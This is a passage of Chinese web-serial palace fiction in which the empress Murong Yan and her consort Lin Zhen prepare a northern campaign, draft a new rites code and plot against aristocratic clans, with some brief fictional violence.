林臻身着月白暗纹常服,墨发用一根简单的乌木簪松松挽起,神色平和,目光温柔地落在正在烹茶的慕容嫣身上。 他的自称,已从“臣”自然而然地换成了“为夫”,这细微的变化,标志着两人关系在私密空间里更深层次的交融。 慕容嫣并未让宫人伺候,?而是亲自执壶,?为林臻斟茶。她的动作算不上行云流水,却异常专注认真。热水冲入白瓷杯,茶叶舒展,清香四溢。 她将茶杯轻轻推到他面前,?凤眸微抬,?看着他?:“夫君尝尝,这是新贡的云雾,说是长在悬崖峭壁上,吸天地精华,尝尝是否合口。” 她的语气平淡,却带着一种居家的、妻子般的自然关切。 第923章 纵使千军万马,为夫亦愿为嫣儿前锋 林臻端起茶杯,浅啜一口,茶香清冽,回味甘醇。他微微一笑,目光柔和地看着她:“嫣儿亲手泡的茶,自然是极好的。为夫只觉齿颊留香,心神俱宁。” 他放下茶杯,很自然地伸出手,覆在她置于矮几的手上,指尖轻轻摩挲着她戴着墨玉扳指的指节。 慕容嫣任由他握着,?嘴角微微上扬,?露出一丝极淡的、却真实的笑意。 她反手握住他的手掌,?指尖在他掌心轻轻划着,?目光却渐渐飘远,?落在了窗外那渐沉的落日上。 殿内的温馨与窗外即将到来的黑夜,形成一种微妙的对比。 “北边的风似乎越来越紧了”她轻声说,?语气听不出喜怒,?仿佛在谈论天气。 林臻握紧她的手,声音沉稳:“嗯,探马来报,鞑靼各部调动频繁,巴特尔王庭近日聚会不断。看来,他们是铁了心要南下了。” 他顿了顿,看向她, “嫣儿,一切已按你的部署准备就绪。镇北关一线,兵精粮足,只待王命。” 慕容嫣收回目光,?重新落在他脸上,?眼神深邃?:“夫君怕吗?” 林臻迎上她的目光,没有丝毫闪躲,语气坚定:“有嫣儿在,为夫何惧之有?纵使千军万马,为夫亦愿为嫣儿前锋,斩将夺旗。” 他的话语中充满了对她的信任与身为武将的豪情,但也有一丝不易察觉的、对她安危的担忧。 慕容嫣静静看了他片刻,?忽然,她倾身向前,?双臂环住他的脖颈,?将头靠在他的肩上。? 宽大喇叭袖垂落,?拂过他的后背。这个拥抱带着依赖,也带着一种不容置疑的占有。 “朕知道你不怕。”她在他耳边低声说,?气息温热,“但朕不想你受伤。” 她的声音很轻,却带着一种沉重的力量,“哪怕是一点皮外伤,朕都会很不高兴。” 这与其说是情话,不如说是一种偏执的宣告。 她对他的占有,已延伸到对他身体完整的绝对要求。 林臻心中悸动,伸手环住她的腰,将她搂紧:“为夫会小心。为了嫣儿,为夫也会保护好自己。” 慕容嫣在他肩头轻轻蹭了蹭,?像只确认所有权的猫。 过了一会儿,她直起身,?目光落在榻边不远处,?那里立着一个紫檀木剑架,?上面横放着一柄造型古朴、寒气森森的长剑——那是林臻的佩剑“破军”?。 她站起身,?迤逦着那五丈长的拖尾,?走到剑架前。 她伸出戴着墨玉扳指的右手,?轻轻抚过冰冷的剑鞘,?指尖沿着上面古朴的纹路缓缓移动。 “这把剑跟随夫君很多年了吧?”她轻声问,?目光专注。 “是,”林臻也站起身,走到她身边,“随为夫出生入死,饮血无数。” 慕容嫣转过身,?面对着他,?眼神异常认真?:“出征前朕想亲自为夫君拭剑。” 林臻一怔。帝王为将领拭剑,乃是极高的荣宠,但也带着一种沉重的寄托。 他看着她眼中那份不容拒绝的坚持,心中涌起复杂的暖流与责任感。 “好。”他沉声应道。 慕容嫣命人取来拭剑所需的工具:白帛、鹿皮、还有特制的护养剑油。 她挥退所有宫人,?亲手将长剑从架上取下。剑身颇沉,但她拿得很稳。 她捧着剑,?走回榻边,?示意林臻坐下。然后,她自己则,?屈膝跪坐在榻前铺设的柔软波斯地毯上?!? 那五丈长的墨金色拖尾,?在她身后,?如同盛开的墨金色莲花,?铺满了她周围的地面。 她将长剑横置于铺好的白帛上,?开始极其专注、极其细致地,?为剑刃擦拭上油。 她的动作依旧生疏,甚至有些笨拙,远不如熟练的剑童。 但她的神情,却庄重得如同在进行一场最神圣的仪式。 ?指尖的墨玉扳指偶尔与剑鞘碰撞,?发出清脆的微响。 ?宽大的喇叭袖被她小心地挽起,?避免沾染油污。 夕阳的余晖照在她低垂的侧脸上,长睫投下淡淡的阴影,那专注的模样,与她平日的杀伐决断截然不同,却别有一种动人心魄的魅力。 林臻坐在榻上,垂眸凝视着她。看着她那双执掌生杀大权、沾染无数鲜血的手,此刻正如此小心翼翼、甚至带着一丝虔诚地,侍奉着他的兵器。 这种强烈的反差,让他胸腔中被一种难以言喻的、饱胀的情感充斥。 这不仅仅是补偿,这是一种烙印,是将她的意志与他的力量紧密捆绑在一起的象征性行为。 许久,慕容嫣才完成拭剑。剑身被擦拭得寒光凛冽,映照出她平静的面容。她双手将剑捧起,?递到林臻面前。 “夫君,”她仰头看着他,?目光清澈而坚定,“此剑随你北上。朕在这里等你凯旋。” 她的声音不大,却带着千钧之力。 林臻郑重地双手接过长剑,指尖触及剑柄的瞬间,仿佛能感受到从她手中传递过来的温度与力量。 他单膝跪地,与她平视,一手持剑,一手握住她微凉的手,誓言铿锵:“嫣儿放心,剑在人在。为夫必不负嫣儿所托,定将漠北烽烟,平息于长城之外!” 慕容嫣看着他,?眼中闪过一丝极淡的水光,?但很快便消失不见。 她伸手,?用指尖轻轻拂过剑柄上冰冷的纹路,?低声道?:“朕不要你逞强。若事不可为便回来。朕可以不要漠北但不能没有你。” 这句话,从一个野心勃勃的帝王口中说出,其分量足以撼动山河。 林臻心中巨震,将她拉入怀中,紧紧抱住:“为夫知道了。为夫会活着回来,完好无损地回到嫣儿身边。” 两人相拥片刻,夕阳终于彻底沉入地平线,殿内光线暗淡下来。 慕容嫣轻轻推开他,?站起身。 她走到窗边,?望着窗外渐起的星辰,?背影在暮色中显得有些单薄,?但那身神凤降世裙的墨金色泽却在暗夜中散发出一种内敛而强大的气场。 忽然,她猛地回身?! 动作带着一种决绝的意味! 那轻盈华贵的五丈苏锦拖尾因这迅猛的回转被猛地带起,墨金色的巨幅裙摆如同被夜风鼓动的战旗,轰然展开,?唰啦一声扫过光滑的地面!?? 随着裙摆的骤然飘起——赫然露出了里面那在暮色中愈发璀璨夺目的“满地织金”内衬!?? 那内衬上的百凤朝阳纹在黑暗中仿佛自行发光,金光流转,尊贵、耀眼,仿佛在宁静的黄昏后,预示着即将到来的、以血与火为背景的征途! 裙摆落下,华光内敛于深沉的黑夜。 慕容嫣一步步走回林臻面前,?在极近的距离仰头看他,?目光在黑暗中亮得惊人?:“夫君今夜陪朕。” 她的语气,不是邀请,而是命令,带着一种即将分离前、想要确认彼此存在的急切。 林臻没有回答,而是用行动回应。 他俯身,将她打横抱起,走向寝殿深处那张宽大的凤榻。 慕容嫣顺从地依偎在他怀里,?双臂环着他的脖颈,?那迤逦的拖尾,?在身后,?如同墨金色的流水,?无声地滑过地面。 这一夜,凤寰宫内的温情,染上了北征前离别的色彩,却也更加炽热、更加深入骨髓。 慕容嫣的“伺候”,不再是生涩的按摩或奉茶,而是以一种更加亲密、更加毫无保留的方式,将她的所有,她的温度,她的气息,她的一切,都奉献给她唯一的“夫君”。 第924章 圣徽元年 圣辉元年,元月初一。 新年的朝阳冲破云层,将金辉洒满巍峨的皇城,积雪初融,檐角冰棱滴着晶莹的水珠,仿佛预示着涤荡旧尘、万象更新。 持续数年的“乾元”年号随着慕容嫣一统天下的霸业完成而终结,取而代之的,是寓意“圣德光辉,普照四海”的“圣辉”。 然而,这充满希望的年号之下,北疆的阴云却并未散去,反而随着新朝伊始,更添了几分山雨欲来的紧张。 凤寰宫内,却是一派与外界的肃杀和节日的喧闹都格格不入的、极致静谧的温馨。 地龙烧得暖融,空气中弥漫着清冽的梅花冷香,混合着淡淡的、安神宁息的苏合香气息。 慕容嫣似乎格外偏爱这新元之初的宁静,?依旧只穿着那身已成为她标志的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,。 正与林臻一同,?慵懒地偎依在寝殿东暖阁的窗边榻上。 窗外,可俯瞰大半皇城,远处隐约传来庆典的礼乐声,却被厚重的窗纱隔绝,变得模糊而遥远。 ?神凤降世裙在新年晨光的映照下,焕发出一种不同于往日的光彩。 ?极致玄黑的苏锦底料在纯净的雪光与金色朝阳的混合光线下,呈现出一种深邃如宇宙初开般的墨色,吸吮着光芒,内敛而厚重。 织入的金色棉绒与真金线则流淌着更加明亮、更加纯粹的暗金辉光,仿佛旭日初升时穿透云层的第一缕光芒,神秘高贵中带着新生的希望与威严。 ?睡裙之上,那只铺天盖地的擎天巨凤,?仅以赤金线绣成,在圣辉元年的第一缕阳光下,凤羽层叠,每一片鳞甲都折射出璀璨的金芒,尊贵威严中透出一丝象征新纪元的、凛然不可侵犯的气度。凤眸上的黑钻,冰冷依旧,却仿佛倒映着新的开始。? 宽大轻盈的喇叭袖,袖口金线流苏在晨光中微微晃动,闪烁着细碎的光点。她左手拇指上的墨玉扳指,色泽沉静。 而那长达五丈的苏锦拖尾,?今日被格外精心地铺展,?迤逦地拖曳在暖阁内铺设的、以金丝织就祥云瑞兽图案的昂贵波斯地毯上,?墨金色的锦缎与金色的地毯纹路交织,?华美辉煌到了极致,?如同新朝铺开的宏伟画卷。 ?棉质的柔软与睡裙的舒适,在此刻更添一份居家的安宁与惬意。 林臻身着暗红色云纹常服,衬着新年的喜庆,墨发用一根简单的赤金簪束起,少了几分平日的清冷,眉宇间带着沐浴后的松弛与温和。 他并未关注窗外的庆典,目光始终温柔地落在怀中的慕容嫣身上。 他的自称,在私下里,已是自然而然的“为夫”。 慕容嫣似乎昨夜未曾安睡,?眼下有淡淡的青影。 此刻,她正背对着林臻,?慵懒地靠在他怀里,?而林臻,?则手持一把精致的犀角梳,?正极其耐心地,?为她梳理着那一头长及膝弯、墨黑如瀑的青丝。 他的动作轻柔至极,生怕扯痛她分毫,指尖偶尔掠过她敏感的后颈,带来细微的战栗。 “夫君的手今日格外轻柔,”慕容嫣闭着眼,?声音带着晨起的沙哑和浓浓的依赖,?像只被顺毛顺得舒服的猫儿,?全无朝堂上的威仪。 林臻低笑,声音醇厚温柔:“今日是圣辉元年第一天,为夫自然要好好伺候我的嫣儿。” 他放下梳子,指尖蘸了少许散发着冷梅香气的头油,在她发梢细细涂抹, “嫣儿发质真好,如缎似锦。” 慕容嫣微微动了动,?寻了个更舒适的姿势,?将脸埋在他胸前,?闷道?:“还不是夫君昨夜闹得朕没睡好,” 她的语气带着一丝娇嗔的抱怨,脸颊却悄悄染上一抹绯红。 林臻眼中笑意更深,手臂收紧,将她圈在怀中,下巴轻轻抵着她的发顶,嗅着她发间清冷的梅香与自己方才涂抹的头油气息混合在一起的、独属于她的味道:“是为夫不好。那嫣儿今日想如何罚为夫?为夫都认罚。” 他的语气充满了纵容与宠溺。 慕容嫣在他怀里轻轻哼了一声,?过了一会儿,?才抬起头,?凤眸中水光潋滟,?带着一丝狡黠?:“罚你今日一整天都不准离开朕半步朕要你给朕描眉点唇陪朕用膳还有,” 她顿了顿,?声音压低,?带着一丝暧昧,“今晚继续好好‘伺候’朕。” 这与其说是惩罚,不如说是更黏腻的索求。 林臻心中爱极了她这般模样,低头在她光洁的额上印下一吻,誓言般郑重:“好,为夫遵旨。今日,为夫就是嫣儿一个人的,任嫣儿差遣。” 慕容嫣满意地笑了,?重新窝回他怀里。 阳光透过窗纱,洒在相拥的两人身上,镀上一层温暖的光晕,那身神凤降世裙的墨金色泽在光下愈发华美,岁月静好得仿佛北疆的烽火只是遥远的传说。 然而,这份宁静注定短暂。 将近午时,宫人悄无声息地摆上午膳,皆是精致爽口的清淡菜式,显然是按慕容嫣的喜好准备。 慕容嫣却没什么胃口,?只懒懒地由着林臻喂了几口粥,?便推开了。 “夫君,”她倚着引枕,?目光望向窗外,?看似随意地问道,“北边有新的消息吗?” 林臻放下玉勺,拿起温热的帕子为她擦拭嘴角,动作自然流畅。 他的神色稍稍凝重:“暗卫今晨密报,鞑靼部汗王巴特尔,借圣辉改元、我朝庆典之际,派出了数支精锐骑兵小队,伪装成商队或流民,试图绕过镇北关,潜入我朝腹地。看来,他是想趁我们松懈,进行骚扰或侦查。” 慕容嫣闻言,?脸上慵懒的神情丝毫未变,?只是眼神深处,?掠过一丝极淡的、冰冷的锐光。 她轻轻“哦”了一声,?伸出戴着墨玉扳指的食指,?在面前的紫檀木小几上,?有一下没一下地敲击着。 “还有,”林臻继续道,语气带着一丝冷意,“山东那边,虽孔希仁一脉已除,但其部分门生故旧,仍有不死心者。暗卫发现,有孔氏余孽与漠北来的密使,在青州一带秘密接触。虽未查实具体内容,但其所图,必然不善。” “呵,”慕容嫣轻笑一声,?笑声清脆,?却无端带起一丝寒意,“真是阴魂不散。” 她抬起眼,?看向林臻,?眼神平静无波,“夫君觉得该如何处置?” 林臻沉吟片刻,眼中杀机闪现:“潜入的鞑靼骑兵,令边军严密排查,一经发现,格杀勿论,悬首关墙!至于山东余孽为夫建议,可令暗卫放长线,钓大鱼,摸清其联络网与计划,届时一网打尽,永绝后患!” 他的建议果断而狠辣,完全符合慕容嫣的行事风格。 慕容嫣静静听着,?未置可否。 她忽然站起身,?那五丈长的拖尾随着她的动作在华丽的地毯上滑动。 她踱步到窗边,?眺望着北方,?背影在阳光下显得纤细,?却透着一股不容置疑的威压。 “格杀勿论一网打尽,”她轻声重复着,?仿佛在品味这几个字。 忽然,她猛地回身?! 动作迅疾而充满决断力! 那轻盈华贵的五丈苏锦拖尾因这突然的回转被猛地带起,墨金色的巨幅裙摆如同感知到威胁的凤凰之翼,轰然展开,?唰啦一声扫过柔软的地毯!?? 随着裙摆的骤然飘起——赫然露出了里面那在阳光下愈发璀璨夺目、金芒四射的“满地织金”内衬!?? 那内衬上的百凤朝阳、缠枝莲纹在圣辉元年的光明下,仿佛被注入了生命,金光流转,辉煌耀眼到了极致! 与睡裙外袍的深沉墨色形成了惊心动魄的对比,尊贵、耀眼,且带着碾碎一切魑魅魍魉的决绝意味! 裙摆落下,华光内敛于沉静的墨色之中。 但慕容嫣的杀意已如同出鞘的寒冰:“不。” 她红唇轻启,?吐出一个字,?清晰而冰冷。 林臻微微一怔。 慕容嫣走回他面前,?目光如电,?直视着他?:“潜入的鞑靼人不必全杀。挑几个活口打断腿挖去眼睛割掉舌头然后放他们回去。” 她的声音平静,却字字血腥! “让他们爬回漠北,爬回巴特尔的王庭,”她嘴角勾起一抹残忍的弧度,“告诉他们的汗王朕的圣辉元年不欢迎他这种不请自来的恶客。让他好好等着朕会亲自去‘拜访’他。” 此举,已非简单的防御或报复,而是赤裸裸的、极尽羞辱的心理战! “至于山东的虫子,”慕容嫣的指尖轻轻点着桌面,“让他们蹦跶。朕倒要看看他们能掀起多大的浪。传令暗卫,不必打草惊蛇,给朕盯紧了。朕要看看这新朝伊始到底有多少牛鬼蛇神忍不住要跳出来。” 她的策略,充满了猫捉老鼠般的冷酷与耐心,她要借此机会,将内外所有潜在的敌人,一并引出,然后一劳永逸地解决。 林臻看着她,眼中闪过一丝了然与钦佩。 他的嫣儿,从来都不是被动的防御者,她是主动的猎手。 “为夫明白了。这就去安排。” “不急。”慕容嫣却伸手拉住了他的衣袖,?语气瞬间又恢复了之前的慵懒,?仿佛刚才那个下达血腥命令的人不是她,“今日是圣辉元年第一天夫君答应了要陪朕一整天的,” 她仰头看着他,?凤眸中带着一丝不容置疑的任性?:“那些琐事让下面的人去办。夫君现在该给朕描眉了。” 说着,她拉着他,?走向梳妆台。 那迤逦的五丈拖尾,?在她身后,?如同墨金色的流水,?无声地滑过地毯。 林臻心中软成一片,顺从地跟着她。 是啊,今日是新年,是他的嫣儿想要温存的日子。 至于北疆的蛮族和山东的余孽他眼中寒光一闪迟早会成为献给嫣儿圣辉时代的祭品。 他拿起螺黛,极其专注地为她对镜描眉。 慕容嫣闭着眼,?感受着他指尖的温柔,?嘴角带着满足的、极淡的笑意。 镜中映出两人依偎的身影,一个威严绝美,一个清俊温柔,?那身神凤降世裙的华美背景,更衬得画面如同精心绘制的帝后恩爱图。 然而,在这极致恩爱的表象之下,北疆的风雪与中原的暗流,已然在圣辉元年的第一天,悄然涌动。 第925章 大乾新礼 圣辉元年的春风,似乎比往年更添几分料峭。 皇城之内,虽张灯结彩的余韵犹在,但一种无形的、源于最高权力核心的变革压力,已如暗流般悄然涌动,压过了节日的喧嚣。 慕容嫣在稳固军事霸权、血腥镇压内部异议(如孔家)之后,终于将她的铁腕,伸向了维系帝国统治数千年的精神根基——礼法制度。 她要做的,并非修补补,而是彻底的颠覆与重构,以此宣告一个完全属于她慕容嫣的时代的来临。 这一日,并非大朝会,凤寰宫深处的“文渊阁”却灯火通明。 此处本是皇家藏书、校勘典籍之所,此刻却被临时征用为制定新礼法的核心枢机。 阁内书香与墨香混合,却弥漫着一种不同于往日的、紧张而肃杀的气氛。 巨大的紫檀木长案上,堆满了如山般的古籍卷宗,以及更多墨迹未干的新编文稿。 慕容嫣并未端坐于主位,?而是身穿着那身与这严谨学术场合格格不入、却又仿佛以绝对华美镇压一切笔墨争论的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?正慵懒地倚靠在窗边一张铺着白虎皮的宽大躺椅上。 林臻则坐在她身侧稍后的一张圆凳上,面前也摊开着几卷文书,但他更多时候,目光都落在慕容嫣身上。 ?神凤降世裙在文渊阁明亮的宫灯照耀下,呈现出一种惊心动魄的华美。 ?极致玄黑的苏锦底料吸吮着灯光,色泽沉静如子夜,将周遭的书籍的陈旧色泽都压了下去。 织入的金色棉绒与真金线则在光下流淌着冷冽而锐利的暗金波光,神秘、高贵,与满室书卷的朴素形成了极致反差,仿佛在宣告皇权对知识本身的绝对掌控。? 睡裙之上,那只铺天盖地的擎天巨凤,?仅以赤金线绣成,在此刻严肃的氛围下,更显气势磅礴,凤羽层叠,灼灼如熔金流淌,尊贵威严中透出碾碎旧有桎梏的戾气! 凤眸上的黑钻冰冷洞彻,倒映着跳跃的烛火与伏案疾书的文官们惶恐的身影。?宽大轻盈的喇叭袖,一只随意垂落椅边,袖口金线流苏纹丝不动,另一只则搭在躺椅扶手上,?指尖戴着那枚墨玉扳指,?有一下没一下地敲击着光滑的木料。 而那长达五丈的苏锦拖尾,?更是毫无顾忌地、迤逦地直接铺陈在文渊阁冰凉的金砖地面之上!?? 华贵到极致的拖尾其上镶嵌的宝石反射着冷光,如同一道降临知识殿堂的墨金色律令,冷酷地覆盖了地面原本的纹路。?棉质的柔软与睡裙的舒适,在此刻更凸显出主人姿态的慵懒与不容置疑的权威。 十余名被紧急召入宫、以才学敏捷著称却大多出身寒门或中小家族的翰林学士,正战战兢兢地伏在长案两侧,根据慕容嫣口述或林臻偶尔补充的大纲,奋笔疾书,草拟着名为??《大乾圣辉新礼》??的典章。 他们额上冷汗涔涔,因为女帝的要求,几乎条条都在挑战千年传承的周礼核心! “丧礼一节,”慕容嫣慵懒地开口,?声音不大,?却清晰地传入每个人耳中,?带着不容置疑的意味,“废除三年守制。父母之丧,以百日为限。百日之后,夺情起复,各归其职。违者以不忠论处。” 此言一出,满座皆惊! 这完全颠覆了“孝”为百善之首的儒家根本! 一位年老些的学士忍不住抬头,嘴唇哆嗦:“陛下!此乃动摇人伦根基啊!恐天下士人……” “士人?”慕容嫣轻笑一声,?打断他,?目光扫过,?冰冷如刀,“不能为朕所用的士人留着何用?朕要的是能办事的官,不是只会守坟的孝子贤孙。” 她的语气轻描淡写,却让那老学士瞬间面色惨白,噤若寒蝉。 “婚礼,”她继续道,?指尖的墨玉扳指停止敲击,“废除六礼之繁文缛节。男女婚嫁,只需官媒登记,朝廷认可即可。鼓励寡妇再嫁,禁绝殉节。违者严惩不贷。” 这又是对“贞洁”观念的致命一击。 “祭礼,”她的目光投向窗外漆黑的夜空,?声音带着一丝缥缈的冷酷,“废除天地君亲师并列祭祀。朕即为天。往后祭祀,以祭朕与社稷江山为首要。孔庙可保留,但规格降至从祀。” 这是要将皇权彻底凌驾于一切传统信仰之上! 一条条石破天惊的新礼条款,从她口中缓缓道出,涉及官制、服饰、仪仗、乃至日常起居的方方面面。 核心只有一点:打破世家大族凭借对周礼的解释权而垄断的文化特权和政治地位,确立以皇权为唯一核心的、高效而绝对服从的新秩序。 这不仅是制度变革,更是一场深刻的思想清洗。 林臻坐在她身侧,并未参与具体条文的拟定,但他的存在本身就是一种强大的支持。 他时而为她递上一杯温热的参茶,时而用沉稳的声音补充一两条关于军礼或邦交礼节的务实建议,目光始终平静,仿佛慕容嫣所做的一切,都是天经地义。 当有学士因压力过大而手抖墨洒时,他会淡淡瞥去一眼,那眼神中的威压,足以让那人瞬间稳住心神。 整个文渊阁,只有毛笔在纸上的沙沙声,和慕容嫣偶尔响起的、清冷而决断的声音。气氛压抑得让人窒息。 直到子夜时分,新礼的初步框架才大致草拟完毕。 学士们个个如同虚脱,面色苍白地跪地呈上文稿。 慕容嫣并未立刻翻阅,?而是慵懒地伸了个懒腰,?宽大喇叭袖随之舒展。 她侧过头,?看向林臻,?脸上冰冷的神色瞬间融化,?染上一丝倦意和依赖?:“夫君朕累了” 林臻立刻起身,走到她面前,自然而然地伸出手,为她轻轻揉按着太阳穴。 他的动作轻柔而熟练,指尖温暖。“为夫知道,嫣儿劳神了。这些琐事,本不必亲力亲为。” “不行,”慕容嫣闭上眼,?享受着他的按摩,?声音带着一丝任性的固执,“这《新礼》是朕送给圣辉元年的第一份大礼也是给那些老古董的最后通牒。朕要亲自盯着它出生。” 她的语气中带着一种创造者的快意与破坏者的冷酷。 她挥挥手,?让那些几乎站立不稳的学士们退下。 偌大的文渊阁,顿时只剩下他们二人,以及满室墨香和堆积如山的文稿。 慕容嫣这才拿起那厚厚一叠《大乾圣辉新礼》草稿,?随意翻看了几页,?嘴角勾起一抹满意的弧度。她放下文稿,?站起身,?那五丈长的拖尾随之在地面上滑动。 “夫君,”她走到长案前,?目光扫过那些代表旧秩序的典籍,?声音清晰而冰冷,“明日大朝会朕便要颁布这《新礼》。” 林臻走到她身边,沉声道:“嫣儿放心,京畿禁军已全面戒备,各路暗卫亦已就位。 若有谁敢当庭反对”他眼中寒光一闪,“为夫必让他血溅金銮殿!” 慕容嫣转过头,?看着他,?眼中闪过一丝复杂的光芒,?有依赖,?有满意,?还有一丝近乎疯狂的信任。她伸出手,?轻轻抚过他的脸颊?:“有夫君在朕什么都不怕。” 她的指尖微凉,带着墨玉的润泽。 忽然,她微微蹙眉,?抬起手,?看着自己指尖沾染的一点墨迹——显然是刚才翻阅草稿时不小心沾上的。 她脸上瞬间闪过一丝极度的嫌恶,?仿佛那墨迹是什么肮脏不堪的东西。 “脏了,”她轻声说,?语气里带着真实的厌烦。 林臻立刻会意,从袖中取出一方雪白的丝帕,沾了旁边银盆中的清水,极其小心地、轻柔地为她擦拭指尖。他的动作专注而温柔,仿佛在对待一件易碎的珍宝。 慕容嫣任由他擦拭着,?目光却再次投向那堆《新礼》文稿,?眼神变得幽深?:“这墨很快就会染上血的,” 她的声音很低,带着一种预言般的冷酷。 擦干净手指,慕容嫣似乎心情好转。 她转身,?面向林臻,?脸上重新露出那种带着倦意的慵懒?:“夫君抱朕回去朕困了。” 林臻没有丝毫犹豫,上前一步,将她打横抱起。慕容嫣顺从地依偎在他怀里,?双臂环住他的脖颈,?将脸贴在他温暖的胸膛上。 ?宽大喇叭袖垂落,?拂过他的手臂。?那五丈长的墨金色拖尾,?有一部分被他小心地揽在臂弯,?另一部分则迤逦地拖曳在身后,?在文渊阁光滑的地面上,?划出一道惊心动魄的华丽痕迹。 就在林臻抱着她,转身走向阁门的那一刻,慕容嫣似乎想起了什么,?猛地回了一下头?! 动作带着一种决绝的意味! 那轻盈华贵的五丈苏锦拖尾因这突然的回首被猛地带起,墨金色的巨幅裙摆如同最终审定乾坤的凤凰之翼,轰然展开,?唰啦一声扫过满地的典籍与文稿!?? 随着裙摆的骤然飘起——赫然露出了里面那在宫灯下璀璨夺目、金芒四射的“满地织金”内衬!?? 那内衬上的百凤朝阳、万福万寿纹在光下骤然闪现,金光流淌,华美辉煌到了极致! 仿佛象征着旧章典籍之上,即将覆盖上帝王意志的、全新的、以黄金与鲜血写就的法则! 尊贵、耀眼,且带着不容置疑的颠覆性力量! 裙摆落下,华光内敛于沉静的墨色之中。 慕容嫣将脸更深地埋入林臻怀中,?声音闷闷地传来?:“明日又会很吵了。” 林臻抱紧她,稳步走出文渊阁,走入圣辉元年深沉的夜色中。 他的声音低沉而坚定,在寂静的宫道上回荡:“无妨。有为夫在,定让嫣儿的《新礼》,畅行无阻。” 第926章 大乾圣徽新礼 圣辉元年元月十五,大朝会。 金銮殿上的血腥气尚未完全散去,那是三日前慕容嫣颁布《大乾圣辉新礼》时,当庭杖毙两名以头撞柱、死谏“礼崩乐坏”的老臣所留下的痕迹。 然而,铁腕与鲜血并未让所有的反对声音沉寂,反而如同压紧的弹簧,在暗处积蓄着更为汹涌的反弹力量。 以太原王氏、清河崔氏、范阳卢氏等为首的北方百年世族,联合部分江南文臣,虽未再敢当庭以死相逼,却以更为阴柔却顽固的方式,进行着无声的抵抗。 拖延、曲解、阳奉阴违,试图将这场触及他们根本利益的礼法变革,消弭于无形。 朝会散去,已是午后。 慕容嫣并未换下朝服,?而是依旧穿着那身已成为她权力象征的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?面若寒霜,?迤逦着五丈长的拖尾,?径直回到了凤寰宫。 殿内温暖如春,却驱不散她周身散发的凛冽寒意。 林臻紧随其后,他今日身着玄色亲王常服,眉宇间亦凝着一层肃杀。 朝堂上那些世家重臣看似恭顺、实则绵里藏针的奏对,字字句句都在挑战慕容嫣的权威,这比直接的对抗更令他愤怒。 踏入寝殿,慕容嫣猛地回身?! 动作带着被挑衅后的暴怒与不耐! 那轻盈华贵的五丈苏锦拖尾因这迅猛的回转被猛地带起,墨金色的巨幅裙摆如同被激怒的凤凰之翼,轰然展开,?唰啦一声扫过光洁的金砖地面!?? 随着裙摆的骤然飘起——赫然露出了里面那金芒璀璨、以“满地织金”极致工艺满绣着百凤朝阳纹路的华丽内衬!?? 金光在略显昏暗的殿内骤然迸发,尊贵、耀眼,却带着焚尽一切的戾气!与她此刻冰冷的面容形成了惊心动魄的对比。 裙摆落下,华光内敛。 但慕容嫣的怒意已如同实质的寒冰,瞬间弥漫整个寝殿。侍立的宫人吓得跪伏在地,瑟瑟发抖。 “都滚出去!”她声音不高,?却冰冷刺骨。 宫人们如蒙大赦,连滚爬爬地退了出去,紧紧关上殿门。 殿内只剩下他们二人。 慕容嫣胸口微微起伏,?显然怒气未平。 她几步走到窗边,?猛地推开窗户,?让寒冷的空气灌入,?仿佛要吹散殿内令人窒息的憋闷。 林臻快步上前,解下自己身上的墨色貂绒披风,轻轻披在她肩上,声音低沉而带着心疼:“嫣儿,当心着凉。为那些冥顽不灵的老朽气坏身子,不值当。” 慕容嫣没有拒绝他的披风,?但也没有回头,?目光死死地盯着窗外萧瑟的庭院,?声音从牙缝里挤出来?: “他们真当朕不敢动他们吗?王氏崔氏卢氏一个个道貌岸然满口仁义道德背地里阳奉阴违拖沓敷衍真以为朕的刀砍不断他们的脖子?!” 她的指尖戴着墨玉扳指,?紧紧抠着窗棂,?指节泛白。 林臻站在她身后,伸出手,轻轻按在她紧绷的肩头,掌心温暖,试图化解她的冰冷与愤怒。 “嫣儿,《新礼》触及的是他们盘踞千年的根基,他们自然不会甘心。明的不敢,便来暗的。为夫看来,这反倒是好事。” 慕容嫣猛地转过身,?凤眸中寒光凛冽?:“好事?” “是。”林臻目光沉稳,分析道,“他们若一直蛰伏不动,我们反倒难寻借口。如今他们跳出来,正好给了我们一个将他们连根拔起的理由。” 他的话语中,杀机已现。 慕容嫣静静看着他,?眼中的暴怒渐渐被一种冰冷的算计所取代。她深吸一口气,?又缓缓吐出,?情绪似乎平复了些许。 她伸手,?抚上林臻按在她肩头的手,?指尖微凉。 “夫君说得对。”她的声音恢复了平静,?却更显冷酷,“是朕有些心急了。” 她拉着他,?走到寝殿内侧那张铺着白虎皮的宽大暖榻边坐下。 她慵懒地靠进引枕里,?踢掉脚上的软缎凤头履,?将一双雪白的玉足缩进温暖的貂皮褥子下。 ?神凤降世裙的宽大喇叭袖垂落身侧,?墨金色的苏锦在暖榻深色的皮毛映衬下,?更显华贵神秘。那五丈长的拖尾,?一部分铺在榻上,?更多的则迤逦垂落榻边,?与深色的地毯融为一体。 “那夫君以为该如何拔掉这些碍眼的钉子?”她仰头看着坐在榻边的林臻,?眼神中带着依赖与征询,?仿佛刚才那个盛怒的女帝只是幻影。 林臻为她斟了一杯温热的安神茶,递到她手中,沉吟片刻,目光锐利如刀:“首先,需找准要害。这些世族,仗恃的无非是三点:一,垄断经学,把持科举入仕之途;二,联姻结党,盘根错节;三,广占田亩,隐匿人口,蓄养私兵。” 他顿了顿,继续道:“针对第一点,嫣儿已颁布《新礼》,便是要夺其经典解释之权。接下来,可令格物院与翰林院,编纂《圣辉大典》,重新注释经史子集,将有利于新政、忠于嫣儿的观点奉为正统,刊行天下,作为科举取士的唯一标准!彻底废黜他们赖以生存的旧学体系!” 慕容嫣微微颔首,?抿了一口茶,?眼中闪过赞许的光芒?:“继续。” “第二,联姻结党。” 林臻声音转冷, “可令暗卫严密监控各大世族之间的往来,尤其是婚嫁之事。寻其错处,哪怕只是微末小事,亦可借题发挥,以‘结党营私、图谋不轨’之名,罢黜其族中为首官员,剪其羽翼。同时,鼓励寒门、军功子弟与中小家族联姻,嫣儿亦可亲自赐婚,培植新贵,分化瓦解旧族联盟。” “至于第三点,广占田亩,隐匿人口,”林臻眼中寒光一闪,“此乃他们命脉所在。可借推行《新礼》中‘薄赋敛、均田亩’之名,在全国范围内,重新清丈田亩,核查户籍!凡有隐匿者,重罚!其田产充公,人口编户!此举,可一举斩断其经济根基与人力来源!” 他的计划,条条致命,精准地打击在世族的要害之上。 